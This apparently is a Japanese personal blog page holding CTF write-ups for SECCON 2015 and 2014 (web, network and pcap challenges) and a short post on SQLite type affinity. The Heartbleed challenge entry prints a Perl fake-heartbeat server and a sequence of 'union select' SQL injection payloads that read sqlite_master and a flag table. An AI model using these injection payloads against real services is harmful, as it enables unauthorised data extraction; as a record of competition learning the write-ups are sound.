SECCON 2015 online

前日が同期の結婚式で多忙だったので抜け殻状態でトライ。

 

二日酔いの寝不足で途中寝落ちたりしたので、実質3時間程度しか戦っていない。

 

結果、1問 300点しか取れませんでした。

 

やっぱ片手間じゃ太刀打ちできませんよねー。

 

 

# network 100 Entry form

## 大会中の動き

Webアプリ系問題。  

Emailアドレスと名前を入力する登録フォーム。  

 

ディレクトリトラバーサルで問題アプリのソースコードを発見。  

sendmailを使って登録完了メールを送るソースだったので、捨てアドで登録してメールヘッダインジェクションを試みるも、そもそもメールが届かない。

 

じゃあコマンドインジェクションかー。と試してみるが、動かず。

 

一旦他の問題に移り、そのまま放置

 

## 事後の反省

WirteUpを見る限り、アプローチは正しかった模様。  

おそらくは、構文の組み立てがちゃんとできていなかったのだと思う。  

（シングルクォーテーションの扱いとか、気をつけたつもりだけど雑だったんだと思う）

 

 

# network 200 fragment2

## 大会中の動き

pcap解析の問題。

 

パケット末尾に the flag is in header とあったので、ヘッダを順番にみてみる。

 

しかし、  

- pcapヘッダ

- etherヘッダ

- ipヘッダ

- tcpヘッダ

いずれも不審点なし。

 

tcpヘッダの末尾から the flag is...の間に 70バイトほどのデータが有ったので、ここに着目。

 

port80だし、HTTP2だろーと思って、Wiresharkでデコードしてみる。

 

が、デコード出来ず。

 

万策尽きて、別の問題へ

 

## 事後の反省

なんと、予想通り HTTP2だったらしい。  

Wiresharkをバージョンアップして再度試したところ、うまくデコードできた。。。グダグダ  

 

そしてHeader Block Fragmentがある。これがFragment2か。

 

HPACKされているはずなので、こいつをHPACKデコードすればフラグが出そう。

 

go言語のHAPCKデコーダを見つけたので、こいつを使えばいけそうな予感。  

（go書いたことないけど）

github.com

 

 

 

# Unknown 300 Exec dmesg

## 大会中の動き

Linuxのisoイメージが配布される。  

中身は tiny core linux.  

新入社員のとき仕事で使ってた懐かしいOS。

 

問題文のとおりdmesgを実行しようとしたが、busybox に ねーよ と怒られる。

dmesgの本体は /var/ だか /dev/ にあるはずだけど思いだせねー  

と思い、 dmesgアリ版のbusyboxを調達することにする。

 

uname -a したところ、幸い、i686だったので特に障害も無し。

 

dmesgできるバイナリを配置して、実行すると、dmesg中にフラグを見つけた。

 

 

## 事後の反省

別のWriteupで

```

# grep -iR SECCON /

でフラグ発見。grep最強！

```

という記述を見て、エレガントだと思った。

 

また、dmesgを目grepでフラグ見つけた自分、アカンなと思った。

 

 

# 全体

今回はスケジュール的に専念出来ない状況だったので、まあ仕方ないといえば仕方ない。

 

逆に、腰を据えて挑まないとろくにパフォーマンスが出ないということをよく証明する意味で、良い悪い見本（？）となる経験だった。

 

あとどうでもいいけど、出題者QRコード好き過ぎ。  

やってないけど。

sqlite3のデータ型について

PC

いくつか驚いたことがあったので忘れないようにメモ。

結論

  • create文で存在しないデータ型を指定してもエラーにならない
  • integer型のカラムに数字に出来そうにない文字列(e.g. sqlite)をぶち込んでもエラーにならない（text型で格納される）
  • データ型は「その型しか入らない」ではなく、「その型に変換できないかがんばる」ためのものと捉えた方がいい

実験

まずは、 integer型のidと、text型のnameというフィールドを持つテーブルを試す。

sqlite> create table texttype (id integer, name text);
sqlite> insert into texttype values (1, 'alice');
sqlite> insert into texttype values ('2', 'bob');
sqlite> insert into texttype values ('c', 'cindy');
sqlite> insert into texttype values (2.5, 1234);
sqlite> select id, typeof(id), name, typeof(name) from texttype;
1|integer|alice|text
2|integer|bob|text
c|text|cindy|text
2.5|real|1234|text

integer型の場合
整数→integer
数字リテラル→integer (型変換)
非数字リテラル→text
小数→real

と、当たり前のように整数型以外が入った。
どうも、「型変換はがんばるが、無理ならそのまま入れる」みたいな作りらしい。

続いて、あり得ないデータ型（foo, bar）でつくってみる。

sqlite> create table othertype (id foo, name bar);
sqlite> insert into othertype values (1, 'alice');
sqlite> insert into othertype values ('2', 'bob');
sqlite> insert into othertype values ('c', 'cindy');
sqlite> insert into othertype values (2.5, 1234);
sqlite> select id, typeof(id), name, typeof(name) from othertype;
1|integer|alice|text
2|integer|bob|text
c|text|cindy|text
2.5|real|1234|integer

型変換なしで何でも入る模様。

これだと

create table jiro (yasai mashimashi, ninniku Chomolungma, choi karame )

とか出来ちゃうってことか。。。


んー。DBのデータ型って意識したことなかったけど、こんなものなのか・・・


他のDBMSも調べてみよう。

SECCON2014 オンライン予選（en） QR300 SECCON Wars: The Flag Awakens

PC

スターウォーズのオープニングみたいなムービー。

ただし、テロップの最後にQRコードっぽいのが見える。
そこで、フレームをJPGに切り出し
　↓
必要箇所だけトリミング
　↓
つなげる
　↓
読み込む
　↓
フラグ！

ちなみにトリミングは IrfanViewを利用。
結合もフリーソフト。

あるもん使いで突破できてラッキー

SECCON2014 オンライン予選（en） web300 Bleeding "Heartbleed" Test Web

PC

HeartBleedの脆弱性を持つサイトをテストする画面。
とりあえず、HeartBleedの脆弱性を持つVMを用意する。

実際実行してみたところ、特にリクエストにフラグ等はない。
（リクエストのパディングにフラグ埋め込むのだろうと思っていたので調子はずれ）

なんどうか実行していたら、偶然SQLエラーが発生した。
そこでこれがSQLi問題なのだと知る。

で、HeartBleedで抜き出されるメモリ内容の代わりに、任意の文字列を返すため、ハニーポットを用意。

#!/usr/bin/perl

# hb_honeypot.pl -- a quick 'n dirty honeypot hack for Heartbleed
#
# This Perl script listens on TCP port 443 and responds with completely bogus
# SSL heartbeat responses, unless it detects the start of a byte pattern
# similar to that used in Jared Stafford's (jspenguin@jspenguin.org) demo for
# CVE-2014-0160 'Heartbleed'.
#
# Run as root for the privileged port. Outputs IPs of suspected heartbleed scan
# to the console. Rickrolls scanner in the hex dump.
#
# 8 April 2014
# http://www.glitchwrks.com/
# shouts to binrev

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET (
LocalPort => '443',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);

die "Could not create socket!" unless $sock;

# The "done" bit of the handshake response
my $done = pack ("H*", '16030100010E');

# Your message here
#my $taunt = "09809*)(*)(76&^%&(*&^7657332 Hi there! Your scan has been logged! Have no fear, this is for research only -- We're never gonna give you up, never gonna let you down!";
my $taunt = "09809*)(*)(76&^%&(*&^7657332 'union select flag from ssFLGss; ";
my $troll = pack ("H*", ('180301' . sprintf( "%04x", length($taunt))));

# main "barf responses into the socket" loop
while (my $client = $sock->accept()) {
$client->autoflush(1);

my $found = 0;

# read things that look like lines, puke nonsense heartbeat responses until
# a line that looks like it's from the PoC shows up
while (<$client>) {
my $line = unpack("H*", $_);

if ($line =~ /^0034.*/) {
print $client $done;
$found = 1;
} else {
print $client $troll;
print $client $taunt;
}

if ($found == 1) {
print $client $troll;
print $client $taunt;
print $client->peerhost . "\n";
$found = 0;
}
}
}

close($sock);

そこに以下の順で攻撃コードを書いた。

まずはテーブルスキーマの把握。
エラー文から、実行されているＳＱＬは

select time from results where result='Co...

だとわかったので、union selectで色々表示させてみる。

テーブル名をまず見てみる

' union select name from sqlite_master;

1回目では　results というテーブル名が出てきてハズレっぽかったので

' union select name from sqlite_master where name!='results';

と、次のテーブル名を表示。
すると ssFLGss というテーブル名がでた。

テーブル構造を把握するため

' union select sql from sqlite_master name='ssFLGss';

すると flag ってフィールドがあるとわかったので、
最後のコード

'union select flag from ssFLGss;

を実行。

フラグ取得。


ちなみに今回外部アクセス可能なサーバはCloudnを使用して立ち上げました。
詳しいメンバーがいたとはいえ、一瞬で環境構築まで出来て驚き。

SECCON2014 オンライン予選（en） nw300 Get from curious "FTP" server

PC

FTPサーバ。
でもftpコマンドでうまくいかず。

なんとなく普通の挙動はしてない気がしたのでTelnetで接続。
telnet ftpsv.quals.seccon.jp 21

もちろん裏ではwireshark

ログインはanonymous
とりあえず、普通使えるであろう LIST NIST ls が使えない。

どうすっかと思いつつ HELP を実行すると、RFC嫁と言われる。
http://hp.vector.co.jp/authors/VA002682/rfc959j.htm

ザーッと眺めつつ、ACCTを実行したら、PASVモードになれとの応答。
（あるいはデータポート指定しろ、だったのだが、NATの内側なのでPASVに）

データポートを別窓で繋ぎつつ、
再度ACCTしたら、ファイル名が届いた。

FTP Data (-rw-r--r-- 1 0 0 38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt\r\n)

もうこの時点で勝利確定。

RETR key_is_in_this_file_afjoirefjort94dv7u.txt

でフラグ取得。

SECCON2014 オンライン予選（en） nw200 Version2

PC

srv h2o.pwn.seccon.jp.

DNSのSRVレコードだろうと目星をつけるが、なんのサービスなのかわからず悩む。

そこでh2oでググったら某海外ゲームが出てきた。でも古いしバージョン２も出る気配はないので除外。

ここでチームメイトに　もうすぐ出るバージョン２とH2Oからなに連想する？と聞いたところ
HTTP2のライブラリでH2Oというやつが在るということが判明。

とりあえずポート番号がわからない（80/443/8080いずれもNG）ので、
当初の発想に戻り、DNSでSRVレコードを引く。


HTTPポート　65080 （今回はつかわないけど）

dig _http._tcp.h2o.pwn.seccon.jp. SRV
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> _http._tcp.h2o.pwn.seccon.jp. SRV
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9449
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;_http._tcp.h2o.pwn.seccon.jp. IN SRV

;; ANSWER SECTION:
_http._tcp.h2o.pwn.seccon.jp. 5 IN SRV 1 1 65080 h2o.pwn.seccon.jp.

;; Query time: 35 msec
;; SERVER: 192.168.159.2#53(192.168.159.2)
;; WHEN: Sun Dec 7 09:26:33 2014
;; MSG SIZE rcvd: 83

HTTPSポート　65432 （本命）

dig _https._tcp.h2o.pwn.seccon.jp. SRV
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> _https._tcp.h2o.pwn.seccon.jp. SRV
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12945
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;_https._tcp.h2o.pwn.seccon.jp. IN SRV

;; ANSWER SECTION:
_https._tcp.h2o.pwn.seccon.jp. 5 IN SRV 2 0 65432 h2o.pwn.seccon.jp.

;; Query time: 39 msec
;; SERVER: 192.168.159.2#53(192.168.159.2)
;; WHEN: Sun Dec 7 09:31:33 2014
;; MSG SIZE rcvd: 84

で、めでたくポート番号がわかったので、HTTP2を有効化したChromeにアクセス。

ヘッダの中にKey発見。